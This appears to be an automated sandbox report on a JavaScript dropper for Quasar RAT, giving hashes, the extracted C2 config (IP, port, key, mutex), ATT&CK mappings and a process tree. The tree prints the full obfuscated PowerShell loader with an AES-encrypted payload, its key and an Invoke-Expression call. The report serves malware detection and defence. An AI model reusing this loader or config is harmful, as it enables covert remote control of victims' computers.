quasar | 8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904

Analysis

max time kernel
93s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 04:34

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General

Target
8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904.js
Size 14KB
Sample240725-e7hp5syfqm
SHA256 8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904
MD5 b6a25e375639218f83e044bd89fb604f
SHA1 18d75540fe2674a7b9925977425980120f210cb0
SHA512 42a842863fafc801dcfbd66a37242980e11201bc9c216b7dbfec9d77b296cf0d8db274da1f779a38f62abb146b072ed2a30c693d630d452f13b57f7c1a7bb2ad
SSDEEP 192:DdFGnRQ3MIgdgkCIWfMZtVhdJQgRIwMghZ6fN4PW:ZFGnyhIgyht3QaIwvEl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar j4s0nツ discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

2.8.0.1

Botnet

j4s0nツ

191.96.79.79:5552

Mutex

k0xu0yaV18JcyOu4RW

Attributes

encryption_key
dfDMgawnkTln5Mq1lzTq
install_name
Venom.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Venom Client Startup

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3404-32-0x0000000000400000-0x00000000004EC000-memory.dmp	family_quasar

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	2644	wscript.exe
6	2644	wscript.exe
8	2644	wscript.exe
21	4636	powershell.exe
37	4636	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904.js	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4636	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4636 set thread context of 3404	4636	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4636	powershell.exe
4636	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	3404	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 4636	2644	wscript.exe	87
PID 2644 wrote to memory of 4636	2644	wscript.exe	87
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96
PID 4636 wrote to memory of 3404	4636	powershell.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI39748959011625083121032753780224CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIvfRL0kJXBZM23JFBk0zOfPif9Zy3RKxvYKfjsEu7j/A+X2UzWBrPzw+Ar4NvvblE7nwrwtmbZHONPM783yKiWETB26gNBVf1iumIHibmu5MQ972/tX/i0Ro9bHC2uPCRYxYM3QYelO7tNG12v0zh8gTPUgyFns9wYnarxx9EM7xJiX5fUjN3+YKm6ZuFCHpfLXOxuymPIKp6T8e2B93VDQbKHqej515P5Bh55vUysxq0gHcNT/omCutQGF6tyLLI+57N76Pmq1cIQGHZDkjgrRo+E0ibpa2cBNVR4MTzQtMfBxJSe8ukHgpdfpniJcFj6mEOeupakdbnyXxfSXMZLnm8pEOZJTXGJDosEqOZXPc0tgHh0MlEEHK+LcmHl+KvyIHeCY1U1P3QC5hhZVjvACAMdH1EFYhwPQUK7C96FnRZ6w9bXO7BmZO5tkEJe8S8RELmvPJEftwGlxKxHlulZY5sycLfmmlGjeZ+J5txwNKEQ6TCXZCXssRZFKtlk9LZlPUyyDuVcoOu4IVnETEBzs+Tvg+4TcF/hPBLdtgrPN/E7QgM6yj+D17WsRf+N68uHWhE85yKMCBO86GzHr0FecJ1tHXYnsV0UKVvqYwgpBy4NFcI4YfAHBHDT5e6xdQ+W4d2QpmnmeoyrsEOPLTWA4+Fdg2AJcc4O+iH9hIcrsBNGhf7+fCircXeU3IEJ5dJmkN66fctRuuRNspct2ccjGFZkq19xvX8EFPxfAtnLoif/5LERLbd96eIUld7jVAqDnyfLOrHW0gi9MubjSLlboyprVWHbYWqIeyRKjP8H6EJWpne5WHrdaT7VUsfPlwgykEqU1OEvKJPUJKER5k1124A9gDEnOET/N6479aV6odtefmuJuz50Zy/3fixG3vzQjhQzhCnRtoHExKsjugupxnPoEjs2LfuKeIlEj9KDdED0CM1oATsuNd9slVSx31jT9tsCkABBsV41hEtBAm+z9v7k3oA/KYfzXF+EohXqzS57/85LNbFHiXaOstjtIy8ZZpJjX8wVXQu9AWIZxu29XVInNkOPp9GA6eSu2P3XexGRR+vicC9XVMgOZX5rjXbkI0uMQidbIU5NY6K/BFp1/1NGSSHdKOqXQB9aAacbWeARNTKmi41Nmo5fTznxhd/VY/6V1eqMiDEypPtXNDBnX//s8zJPqMF+tv7qqqel2YhZoYdNhqJPu1wsAT3axbD36RcOpwLnHA8kUZv8nSze7kYAulCLOXyN0kdpzkSZxO+vt+r5lkCxB8UWAZtI7U7uOPbZ3JxF3EbdxAQI06uFfd213K8cWSZmWo7Hl0fKe4azGjofI8ZQb+rRqnO2L4/q8n5NaUGd9n6dseYEXodKkmG3Cyol8xmt4KnO+nhFpWVOk0ZhHxbDqKaCf6yh3qV73lSqBOX9MdZYQdnbzcpGy+EZheuhO3MA7rQkKeNMsBO8HYdpSftb8x3oX53oFInvoq0ckDtd/NfO1iFF8MpSAm+H/0NoKhRBup9oQttsEArE1hr8xme6qdzHe9sPw0gtUfaaP+OYU3+XgDAjG4RYqhGjzmy6ypmPvLOWNK+ioU5oq2k9F3RTmwloBW5r5BxZ4BPAxZsOzWQghgBDQ89HY1eBPiIFoplNOp+eYQpcEkDn1r6rHgbnIN5G70vprMV7I+lt+X342Fce0131DwCiXMWrk90GIxgNLCaNUsxO1AGoSganN7kh2tRIKcGgmhWctte5H+nVMRKpiOtmoBgTGmhKf5KutbhR5WcC6QB29gp99/Bo3FDicJV+uIc6u/3oU5lQmdMZNKLLW83a4qfNelOxVPLVs/sDZcRP8r1za4=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

paste1[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5G8JI3LV\paste1[1].txt
Size 129B
SHA256 e9aeea20f4493d81619b994399f2cd29dfd28844be0f60b5a2dd0ff7b40c11e4
MD5 4e784d1ac7301f404191e862c9a74d22
SHA1 2cad7ffc437650a36b28e8fcdba715383d8a4289
SHA512 e938ba7ef42b11f68a82d04088db72cd60b28809b2446bd26bcff40a094ccb8b7dd3c0c088c77fe1e870d021cf3866eeef6423478349e6b70f47122aa364a019
MD5 SHA1 SHA512

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__PSScriptPolicyTest_mkqs4zs3.c0j.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkqs4zs3.c0j.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3404-32-0x0000000000400000-0x00000000004EC000-memory.dmp

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memory/3404-41-0x00000000066D0000-0x00000000066DA000-memory.dmp

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memory/3404-40-0x00000000063C0000-0x00000000063FC000-memory.dmp

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memory/3404-39-0x0000000005E80000-0x0000000005E92000-memory.dmp

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memory/3404-38-0x0000000005070000-0x00000000050D6000-memory.dmp

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memory/3404-37-0x0000000005110000-0x00000000051A2000-memory.dmp

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memory/3404-36-0x0000000005550000-0x0000000005AF4000-memory.dmp

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memory/4636-29-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-31-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-30-0x00007FFCD2EB3000-0x00007FFCD2EB5000-memory.dmp

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memory/4636-35-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-28-0x000001EA7BA20000-0x000001EA7BB86000-memory.dmp

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memory/4636-27-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-26-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-21-0x00007FFCD2EB0000-0x00007FFCD3971000-memory.dmp

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memory/4636-15-0x000001EA73230000-0x000001EA73252000-memory.dmp

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memory/4636-14-0x00007FFCD2EB3000-0x00007FFCD2EB5000-memory.dmp

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